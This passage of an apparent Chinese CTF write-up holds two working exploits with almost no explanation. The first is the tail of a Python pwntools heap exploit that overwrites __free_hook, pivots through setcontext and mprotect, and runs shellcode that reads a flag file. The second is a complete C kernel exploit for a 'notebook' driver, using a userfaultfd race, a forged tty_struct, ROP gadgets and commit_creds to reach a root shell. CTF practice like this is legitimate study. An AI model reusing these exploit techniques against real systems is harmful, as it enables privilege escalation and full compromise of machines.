    heap_leak_low = int(p.recvuntil(b"\n", drop=True).decode(), 16)
    heap_leak_low = dec(heap_leak_low) & 0xffffffff
    heap_leak_high = int(p.recvuntil(b"\n", drop=True).decode(), 16)
    heap_leak_high = dec(heap_leak_high) & 0xffffffff
    heap_leak = ((heap_leak_high<<32) + heap_leak_low) & 0xffffffffffff
    heap_base = heap_leak - 0x1240 + 0x2c0 # modify
    print("heap_leak:", hex(heap_leak))
    print("heap_base:", hex(heap_base))

    # build overlapping
    add(0xf8) #2 chain
    add(0xf8) #3 chain
    add(0xf8) #4
    add(0xf8) #5
    add(0x100) #6
    add(0x90) #7 split
    ## fill tcache
    for i in range(9,9+7):
        delete(i) # del 9-16
    edit(5, b"a"*0xf8)
    edit(5, b"a"*0xf0+p64(0x200))
    edit(6, b"a"*0xf0+p64(0)+p64(0x21))
    edit(7, p64(0)+p64(0x91))
    target = heap_base+0x1d10-0x2c0  # modify
    edit(4, b"\x00"*0xf0+p64(0x100))
    edit(4, p64(target+0x20-0x18)+p64(target+0x20-0x10)+p64(target))
    delete(6)

    # link to __free_hook
    add(0xf8) # 6 remove from tcache
    add(0x1f8) # 9
    delete(5) # del 5
    edit(9, b"\x00"*0xf8+p64(0x101)+p64(free_hook))
    add(0xf8) # 5 remote first of tcache
    add(0xf8) # 10 free_hook
    edit(10, p64(setcontext+53))
    print("free_hook:", hex(free_hook))

    # attack setcontext+53
    #gdb.attach(p, "b free\nc\n")
    prepare = heap_base + 0x20d0 - 0x2c0 # modify
    add(0x200) # 11 prepare
    frame = SigreturnFrame()
    frame.rip = mprotect
    frame.rdi = heap_base
    frame.rsi = 0x20000
    frame.rdx = 7
    frame.rsp = prepare+0x100

    payload = flat(list(frame.values())).ljust(0x100, b"\x00")
    payload += p64(prepare+0x110)
    payload = payload.ljust(0x110, b"\x90")
    shellcode = '''
    push 0;
    //push 0x67616c66;
    mov rax, 0x7478742e67616c66;
    push rax;
    mov rdi, rsp;
    mov rsi, 0;
    mov rax, 2;
    syscall;
    mov rdi, rax;
    mov rsi, rsp;
    mov rdx, 0xff;
    mov rax, 0;
    syscall;
    mov rdi, 1;
    mov rsi, rsp;
    mov rdx, 0xff;
    mov rax, 1;
    syscall;
    '''
    payload += asm(shellcode)
    print("length:", hex(len(payload)))

    edit(11, payload)
    delete(11)

    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()

notebook

koo师傅和sad师傅打的,我在旁边加油hhh

exp.c

#include <sys/xattr.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/userfaultfd.h>
#include <sys/types.h>
#include <stdio.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <poll.h>
#include <stdint.h>
int fd;
    char *addr;         /* Start of region handled by userfaultfd */
static int page_size;
//tty_struct结构体的大小
#define TTY_STRUCT_SIZE 0x2E0
//如果我们申请0x2E0的空间,slab分配的堆实际大小为0x400
#define REAL_HEAP_SIZE 0x400
//二进制文件的静态基址
#define RAW_KERNEL_BASE 0xffffffff81000000
int ptmx_fds[0x1000];
//mov cr4, rax ; push rcx ; popfq ; pop rbp ; ret
size_t MOV_CR4_RAX = 0xffffffff8100252b;
//0xffffffff8101e9f0: mov cr4, rdi; pop rbp; ret;
size_t MOV_CR4_RDI_POP_RBP=0xffffffff8101e9f0;
//swapgs ;pop rbp ; ret
size_t SWAPGS = 0xffffffff810637d4;
//0xffffffff810338bb: iretq; pop rbp; ret;
size_t IRETQ = 0xffffffff810338bb;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81a00929+22;
//commit_creds函数
size_t COMMIT_CREDS = 0xffffffff810a9b40;
// prepare_kernel_cred
size_t PREPARE_KERNEL_CRED = 0xffffffff810a9ef0;
//push rax ; pop rsp ;  ret做栈迁移用
size_t PUSH_RAX_POP_RSP = 0xffffffff810eed5a;
size_t SUB_RSP_RET = 0xffffffff8100354f;
size_t PUSH_RDI_POP_RSP_POP_RET = 0xffffffff8143f4e1;
size_t POP_RDI = 0xffffffff81007115;
size_t POP_RSP = 0xffffffff810bc110;
size_t POP_RAX = 0xffffffff81540d04;
size_t MSLEEP = 0xffffffff81102360;
size_t MOV_RDI_RAX_POP_RET=0xffffffff81045833;
void init_addr(size_t kernel_base) {
    MOV_CR4_RAX+=kernel_base - RAW_KERNEL_BASE;
    //0xffffffff8101e9f0: mov cr4, rdi; pop rbp; ret;
     MOV_CR4_RDI_POP_RBP+=kernel_base - RAW_KERNEL_BASE;
    //swapgs ;pop rbp ; ret
     SWAPGS += kernel_base - RAW_KERNEL_BASE;
    //0xffffffff810338bb: iretq; pop rbp; ret;
     IRETQ += kernel_base - RAW_KERNEL_BASE;
     swapgs_restore_regs_and_return_to_usermode+=kernel_base - RAW_KERNEL_BASE;
    //commit_creds函数
     COMMIT_CREDS += kernel_base - RAW_KERNEL_BASE;
    // prepare_kernel_cred
     PREPARE_KERNEL_CRED += kernel_base - RAW_KERNEL_BASE;
    //push rax ; pop rsp ;  ret做栈迁移用
     PUSH_RAX_POP_RSP += kernel_base - RAW_KERNEL_BASE;
     SUB_RSP_RET += kernel_base - RAW_KERNEL_BASE;
     PUSH_RDI_POP_RSP_POP_RET += kernel_base - RAW_KERNEL_BASE;
     POP_RDI+= kernel_base - RAW_KERNEL_BASE;
     POP_RSP+= kernel_base - RAW_KERNEL_BASE;
     POP_RAX+= kernel_base - RAW_KERNEL_BASE;
     MSLEEP += kernel_base - RAW_KERNEL_BASE;
     MOV_RDI_RAX_POP_RET += kernel_base - RAW_KERNEL_BASE;
}
void getRoot() {
   //函数指针
   void *(*pkc)(int) = (void *(*)(int))PREPARE_KERNEL_CRED;
   void (*cc)(void *) = (void (*)(void *))COMMIT_CREDS;
   //commit_creds(prepare_kernel_cred(0))
   (*cc)((*pkc)(0));
}
void getShell() {
    printf("%d\n",getuid());
   if (getuid() == 0) {
      printf("[+]Rooted!!\n");
      system("/bin/sh");
   } else {
      printf("[+]Root Fail!!\n");
   }
}
size_t user_cs,user_ss,user_flags,user_sp;
/*保存用户态的寄存器到变量里*/
void saveUserState() {
   __asm__("mov %cs,user_cs;"
           "mov %ss,user_ss;"
           "mov %rsp,user_sp;"
           "pushf;"
           "pop user_flags;"
           );
  puts("user states have been saved!!");
}

struct ARG{
    long long idx;
    long long size;
    void * buf;
};
long long  gift(int fd,int offset){
    char buf[256];
    struct ARG arg = {0,0,buf};
    long long res=ioctl(fd, 100, &arg);
    printf("gift return %d\n",res);
    return *( long long*)(buf+offset*0x10);
}
long long add(int fd,long long idx,long long size,void* buf){
    struct ARG arg = {idx,size,buf};
    long long res=ioctl(fd, 0x100, &arg);
    printf("add return %d\n",res);
    return res;
}
long long edit(int fd,long long idx,long long size,void* buf){
    struct ARG arg = {idx,size,buf};
    long long res=ioctl(fd, 0x300, &arg);
    printf("edit return %d\n",res);
    return res;
}

long long del(int fd,long long idx){
    printf("in delete\n");
    struct ARG arg = {idx,0,0};
    long long res=ioctl(fd, 0x200, &arg);
    return res;
}
static void *
fault_handler_thread(void *arg)
{
    static struct uffd_msg msg;   /* Data read from userfaultfd */
    static int fault_cnt = 0;     /* Number of faults so far handled */
    long uffd;                    /* userfaultfd file descriptor */
    static char *page = NULL;
    struct uffdio_copy uffdio_copy;
    ssize_t nread;

    uffd = (long) arg;

    /* Create a page that will be copied into the faulting region */

    if (page == NULL) {
       page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
                   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
       if (page == MAP_FAILED)
           puts("mmap");
    }

    /* Loop, handling incoming events on the userfaultfd
      file descriptor */

    for (;;) {

       /* See what poll() tells us about the userfaultfd */

       struct pollfd pollfd;
       int nready;
       pollfd.fd = uffd;
       pollfd.events = POLLIN;
       nready = poll(&pollfd, 1, -1);
       if (nready == -1)
           puts("poll");

       /* Read an event from the userfaultfd */

       nread = read(uffd, &msg, sizeof(msg));
       if (nread == 0) {
           printf("EOF on userfaultfd!\n");
           exit(EXIT_FAILURE);
       }

       if (nread == -1)
           puts("read");

       /* We expect only one kind of event; verify that assumption */

       if (msg.event != UFFD_EVENT_PAGEFAULT) {
           fprintf(stderr, "Unexpected event on userfaultfd\n");
           exit(EXIT_FAILURE);
       }

        /* Copy the page pointed to by 'page' into the faulting
          region. Vary the contents that are copied in, so that it
          is more obvious that each fault is handled separately. */
       if (msg.arg.pagefault.flags & UFFD_PAGEFAULT_FLAG_WRITE) {
            printf("write fault\n");
            sleep(1);
        } else {
           printf("read fault\n");
        char a[10]="sad";
            edit(fd,0,0x600,a);
        edit(fd,0,0x400,a);

        fault_cnt++;

        uffdio_copy.src = (unsigned long) page;

        uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
                  ~(page_size - 1);
        uffdio_copy.len = page_size;
        uffdio_copy.mode = 0;
        uffdio_copy.copy = 0;
        if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
             printf("ioctl-UFFDIO_COPY");
        }
/*
    while(1){
        printf("check uid %d\n",geteuid());
        sleep(1);
    }
*/
    }
}
int main(){
    saveUserState();
    long uffd;          /* userfaultfd file descriptor */
    unsigned long len;  /* Length of region handled by userfaultfd */
    pthread_t thr;      /* ID of thread that handles page faults */
    struct uffdio_api uffdio_api;
    struct uffdio_register uffdio_register;
    int s;

    page_size = sysconf(_SC_PAGE_SIZE);
    len = 4 * page_size;

    /* Create and enable userfaultfd object */

    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffd == -1)
       puts("userfaultfd");

    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
       puts("ioctl-UFFDIO_API");

    /* Create a private anonymous mapping. The memory will be
      demand-zero paged--that is, not yet allocated. When we
      actually touch the memory, it will be allocated via
      the userfaultfd. */

    addr = mmap(NULL, len, PROT_READ | PROT_WRITE,
               MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (addr == MAP_FAILED)
       puts("mmap");

    /* Register the memory range of the mapping we just created for
      handling by the userfaultfd object. In mode, we request to track
      missing pages (i.e., pages that have not yet been faulted in). */

    uffdio_register.range.start = (unsigned long) addr;
    uffdio_register.range.len = len;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
       puts("ioctl-UFFDIO_REGISTER");

    /* Create a thread that will process the userfaultfd events */

    s = pthread_create(&thr, NULL, fault_handler_thread, (void *) uffd);
    if (s != 0) {
       errno = s;
       puts("pthread_create");
    }

    fd = open("/dev/notebook", 2);
    char a[10]="sadaaaaa";
    add(fd,0,0x20,a);
    //add(fd,0,0,addr);
    edit(fd,0,0x3ff,a);
    edit(fd,0,0x400,addr);
    for(int i =0 ;i<0x100;i++)
    ptmx_fds[i] = open("/dev/ptmx",O_RDWR|O_NOCTTY);
    size_t fake_tty_struct[128];
    size_t fake_tty_operations[128];
    printf("read size:%d\n",read(fd,fake_tty_struct,0));

    long long kernel_addr = *(unsigned long long *)(fake_tty_struct+3)-0xe8e440;
    init_addr(kernel_addr);
    add(fd,1,0x20,a);
    edit(fd,1,0x20*8,a);
    add(fd,2,0x50,a);
    long long tty_operation_addr = gift(fd,2);
    long long heap_addr = gift(fd,1);
    size_t rop_addr = heap_addr;
    fake_tty_struct[3] = tty_operation_addr;
   fake_tty_struct[1] = SUB_RSP_RET;
   fake_tty_struct[0x14] = POP_RSP;
   fake_tty_struct[0x15] = rop_addr;
   //fake_tty_struct[2] = rop_addr;
    write(fd,fake_tty_struct,0);
    printf("kernel heap addr: %p\n",heap_addr);
    printf("kernel kernel addr: %p\n",kernel_addr);
   //对tty_fd执行write,将触发这个gadget进行第一次转转移
   fake_tty_operations[7] = PUSH_RDI_POP_RSP_POP_RET;
   //栈再一次转移到rop数组里
    size_t rop[0x20];
    int i = 0;
    /*rop同时关闭了smap、semp*/
    rop[i++] = POP_RDI;
    rop[i++] = 0;
    rop[i++] = PREPARE_KERNEL_CRED;
    rop[i++] = MOV_RDI_RAX_POP_RET;
    rop[i++] = 0;
    rop[i++] = COMMIT_CREDS;
    rop[i++] = swapgs_restore_regs_and_return_to_usermode;
    rop[i++] = 0;
    rop[i++] = 0;
    rop[i++] = (size_t)&getShell;
    rop[i++] = user_cs;
    rop[i++] = user_flags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;
    printf("\ngetshell: %llx\n",(size_t)&getShell);
    write(fd,rop,1);
    write(fd,fake_tty_operations,2);
    //getchar();
    //write(fd,fake_tty_operations,0);

    for(int i=0;i<0x100;i++){
        write(ptmx_fds[i],a,0x10);
    }

    return 0;
}